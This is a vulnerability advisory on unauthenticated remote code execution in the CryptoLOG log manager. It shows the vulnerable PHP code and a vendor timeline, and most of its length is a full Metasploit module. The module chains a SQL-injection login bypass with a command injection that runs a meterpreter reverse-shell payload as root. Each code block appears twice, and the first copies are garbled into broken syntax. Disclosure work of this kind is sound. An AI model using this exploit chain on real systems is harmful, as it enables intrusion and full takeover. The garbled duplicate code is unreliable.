Advisory | Cryptolog Unauthenticated Remote Code Execution - Mehmet Ince @mdisec - Vulnerability Researcher | Building security products | Security Advisor | Amateur Muay Thai fighter
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Advisory | Cryptolog Unauthenticated Remote Code Execution
May 17, 2017
CRYPTOLOG is a log manager that collects, normalizes, and categorizes massive logs generated across your network and turn it into valuable information on an intuitive interface where advance search, analysis and correlation monitoring becomes easier and more efficient.
Advisory Informations
Remotely Exploitable: Yes
Authentication Required: NO
Versions Affected: <= 2017
Technology: PHP
Vendor URL: https://www.crypttech.com/en/products/product-detail/CryptoLOG/65/0/0
CVSSv3 Score: 10.0 (/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
Date of found: 5 Apr 2017
Technical Details
During the investigation, we’ve found two different vulnerability.
Unauthenticated SQL Injection
Following code piece is taken from login.php file.
$user=$_POST['user'];
$pass=$_POST['pass'];
if($_GET['act']=='logout'){
session_unset();
$contenttowrite = $contenttowrite.'<tr<td colspan="2"Çıkış yaptınız!</td</tr';
}else if($_GET['act']=='login'){
$link = mysql_connect(DB_HOST, DB_USER, DB_PASS);
if (!$link) die ("Out of service");
mysql_select_db(DB_DATABASE, $link) or die ("Out of service");
$queryusercheck = mysql_query("SELECT count(id) FROM cc_users WHERE USERNAME='$user' AND `PASSWORD`='".computeHash($user, $pass)."'",$link);
$usercheck_value = mysql_fetch_array ($queryusercheck);
$user=$_POST['user'];
$pass=$_POST['pass'];
if($_GET['act']=='logout'){
session_unset();
$contenttowrite = $contenttowrite.'<tr><td colspan="2">Çıkış yaptınız!</td></tr>';
}else if($_GET['act']=='login'){
$link = mysql_connect(DB_HOST, DB_USER, DB_PASS);
if (!$link) die ("Out of service");
mysql_select_db(DB_DATABASE, $link) or die ("Out of service");
$queryusercheck = mysql_query("SELECT count(id) FROM cc_users WHERE USERNAME='$user' AND `PASSWORD`='".computeHash($user, $pass)."'",$link);
$usercheck_value = mysql_fetch_array ($queryusercheck);
Obviously, there is sql injection vulnerability that can lead to login bypass.
Authenticated Command Injection
Following code piece is taken from
<?php
include("config.php");
require_once("kontrol.php");
$opt=$_POST['opt'];
$lsid=$_POST['lsid'];
$sharetype=$_POST['lssharetype'];
$remoteaddress=$_POST['lsremoteaddress'];
$sharefolder=$_POST['lssharefolder'];
$user=$_POST['lsuser'];
$pass=$_POST['lspass'];
$domain=$_POST['lsdomain'];
$dbConn = mysql_connect(DB_HOST, DB_USER, DB_PASS);
if (!$dbConn) die ("Out of service");
mysql_select_db(DB_DATABASE, $dbConn) or die ("Out of service");
include("classes/logshares_class.php");
if($opt=='del')
{
cLogshares::fDeleteFileshareDB($dbConn,$lsid);
}
else if($opt=='add')
{
cLogshares::fAddFileshareDB($dbConn,$sharetype,$remoteaddress,$sharefolder,$user,$pass,$domain);
}
else if($opt=='check')
{
echo cLogshares::fTestFileshare("/mnt/logsource_".$lsid."_".$sharetype);
}
else if($opt=='mount')
{
cLogshares::fMountFileshareOnly($dbConn,$lsid,$sharetype);
echo cLogshares::fTestFileshare("/mnt/logsource_".$lsid."_".$sharetype);
}
?
<?php
include("config.php");
require_once("kontrol.php");
$opt=$_POST['opt'];
$lsid=$_POST['lsid'];
$sharetype=$_POST['lssharetype'];
$remoteaddress=$_POST['lsremoteaddress'];
$sharefolder=$_POST['lssharefolder'];
$user=$_POST['lsuser'];
$pass=$_POST['lspass'];
$domain=$_POST['lsdomain'];
$dbConn = mysql_connect(DB_HOST, DB_USER, DB_PASS);
if (!$dbConn) die ("Out of service");
mysql_select_db(DB_DATABASE, $dbConn) or die ("Out of service");
include("classes/logshares_class.php");
if($opt=='del')
{
cLogshares::fDeleteFileshareDB($dbConn,$lsid);
}
else if($opt=='add')
{
cLogshares::fAddFileshareDB($dbConn,$sharetype,$remoteaddress,$sharefolder,$user,$pass,$domain);
}
else if($opt=='check')
{
echo cLogshares::fTestFileshare("/mnt/logsource_".$lsid."_".$sharetype);
}
else if($opt=='mount')
{
cLogshares::fMountFileshareOnly($dbConn,$lsid,$sharetype);
echo cLogshares::fTestFileshare("/mnt/logsource_".$lsid."_".$sharetype);
}
?>
$sharetype parameter is populated by using user supplied data. And then it used at inside of function parameter for fTestFileshare(). Here is the relavent function definition.
function fTestFileshare($sharefolder)
{
$output = shell_exec('sudo /opt/cryptolog/scripts/testmountpoint.sh '.$sharefolder);
return trim($output);
}
function fTestFileshare($sharefolder)
{
$output = shell_exec('sudo /opt/cryptolog/scripts/testmountpoint.sh '.$sharefolder);
return trim($output);
}
Plus, the command is executed with root privileges because of sudo usage.
Exploitation & Metasploit Module
We successfully exploited both vulnerability. By exploiting sql injection flaw on login page, we’re retrieving a valid cookie value and then abusing command injection issue gives us a root privileges shell.
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name'           = "CryptoLOG Remote Code Execution",
'Description'    = %q{
This module exploits the sql injection and command injection vulnerability of CryptoLog. An un-authenticated user can execute a
terminal command under the context of the web user.
login.php endpoint is responsible for login process. One of the user supplied parameter is used by the application without input validation
and parameter binding. Which cause a sql injection vulnerability. Successfully exploitation of this vulnerability gives us the valid session.
logshares_ajax.php endpoint is repsonsible for executing a operation system command. It's not possible to access this endpoint without having
a valid session. One user parameter is used by the application while executing operating system command which cause a command injection issue.
Combining these vulnerabilities gives us opportunity execute operation system command under the context of the web user.
},
'License'        = MSF_LICENSE,
'Author'         =
[
'Mehmet Ince <mehmet@mehmetince.net' # author & msf module
],
'References'     =
[
['URL', 'https://pentest.blog/advisory-cryptolog-unauthenticated-remote-code-execution/']
],
'DefaultOptions'  =
{
'Payload'  = 'python/meterpreter/reverse_tcp'
},
'Platform'       = ['python'],
'Arch'           = ARCH_PYTHON,
'Targets'        = [[ 'Automatic', { }]],
'Privileged'     = false,
'DisclosureDate' = "May 3 2017",
'DefaultTarget'  = 0
))
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [true, 'The URI of the vulnerable CryptoLog instance', '/'])
], self.class)
end
def check
r = rand_text_alpha(15)
i = rand_text_numeric(5)
res = send_request_cgi({
'method' = 'POST',
'uri' = normalize_uri(target_uri.path, 'cryptolog', 'login.php'),
'vars_get' = {
'act' = 'login'
},
'vars_post' = {
'user' = "#{r}' OR #{i}=#{i}-- #{r}",
'pass' = "#{r}"
}
})
if res && res.code == 302 && res.headers.include?('Set-Cookie')
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end
def exploit
print_status("Bypassing login by exploiting SQLi flaw")
r = rand_text_alpha(15)
i = rand_text_numeric(5)
res = send_request_cgi({
'method' = 'POST',
'uri' = normalize_uri(target_uri.path, 'cryptolog', 'login.php'),
'vars_get' = {
'act' = 'login'
},
'vars_post' = {
'user' = "#{r}' OR #{i}=#{i}-- #{r}",
'pass' = "#{r}"
}
})
if res && res.code == 302 && res.headers.include?('Set-Cookie')
cookie = res.get_cookies
print_good("Successfully logged in")
else
fail_with(Failure::Unknown, "Something went wrong.")
end
print_status("Exploiting command injection flaw")
send_request_cgi({
'method' = 'POST',
'uri' = normalize_uri(target_uri.path, 'cryptolog', 'logshares_ajax.php'),
'cookie'    = cookie,
'vars_post' = {
'opt' = "check",
'lsid' = "$(python -c \"#{payload.encoded}\")",
'lssharetype' = "#{r}"
}
})
end
end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name'           => "CryptoLOG Remote Code Execution",
'Description'    => %q{
This module exploits the sql injection and command injection vulnerability of CryptoLog. An un-authenticated user can execute a
terminal command under the context of the web user.
login.php endpoint is responsible for login process. One of the user supplied parameter is used by the application without input validation
and parameter binding. Which cause a sql injection vulnerability. Successfully exploitation of this vulnerability gives us the valid session.
logshares_ajax.php endpoint is repsonsible for executing a operation system command. It's not possible to access this endpoint without having
a valid session. One user parameter is used by the application while executing operating system command which cause a command injection issue.
Combining these vulnerabilities gives us opportunity execute operation system command under the context of the web user.
},
'License'        => MSF_LICENSE,
'Author'         =>
[
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
],
'References'     =>
[
['URL', 'https://pentest.blog/advisory-cryptolog-unauthenticated-remote-code-execution/']
],
'DefaultOptions'  =>
{
'Payload'  => 'python/meterpreter/reverse_tcp'
},
'Platform'       => ['python'],
'Arch'           => ARCH_PYTHON,
'Targets'        => [[ 'Automatic', { }]],
'Privileged'     => false,
'DisclosureDate' => "May 3 2017",
'DefaultTarget'  => 0
))
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [true, 'The URI of the vulnerable CryptoLog instance', '/'])
], self.class)
end
def check
r = rand_text_alpha(15)
i = rand_text_numeric(5)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'cryptolog', 'login.php'),
'vars_get' => {
'act' => 'login'
},
'vars_post' => {
'user' => "#{r}' OR #{i}=#{i}-- #{r}",
'pass' => "#{r}"
}
})
if res && res.code == 302 && res.headers.include?('Set-Cookie')
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end
def exploit
print_status("Bypassing login by exploiting SQLi flaw")
r = rand_text_alpha(15)
i = rand_text_numeric(5)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'cryptolog', 'login.php'),
'vars_get' => {
'act' => 'login'
},
'vars_post' => {
'user' => "#{r}' OR #{i}=#{i}-- #{r}",
'pass' => "#{r}"
}
})
if res && res.code == 302 && res.headers.include?('Set-Cookie')
cookie = res.get_cookies
print_good("Successfully logged in")
else
fail_with(Failure::Unknown, "Something went wrong.")
end
print_status("Exploiting command injection flaw")
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'cryptolog', 'logshares_ajax.php'),
'cookie'    => cookie,
'vars_post' => {
'opt' => "check",
'lsid' => "$(python -c \"#{payload.encoded}\")",
'lssharetype' => "#{r}"
}
})
end
end
You can see development process at following PR https://github.com/rapid7/metasploit-framework/pull/8331
Timeline
5 April 2017 – Vulnerability found during penetration testing.
5 April 2017  – First contact with vendor. All information (including msf module) is shared.
5 April 2017  – Response from vendor.  “You should be working on 9 years old version.”
5 April 2017  – We requested to share the latest version with us.
13 April 2017 – No response till this date. We fired a second email for assistance.
15 April 2017 – We shared the communication issue of vendor with our customer. Our customer requested the upgrade from vendor.
25 April 2017 – Upgrade to the latest version is completed on our client side. According to the information given from vendor, our client was using 2015 version.
02 May 2017 – We tried same metasploit modules against latest version and it just worked. No matter how hard we try, still not receiving any response from vendor.
03 May 2017 –  Advisory release.
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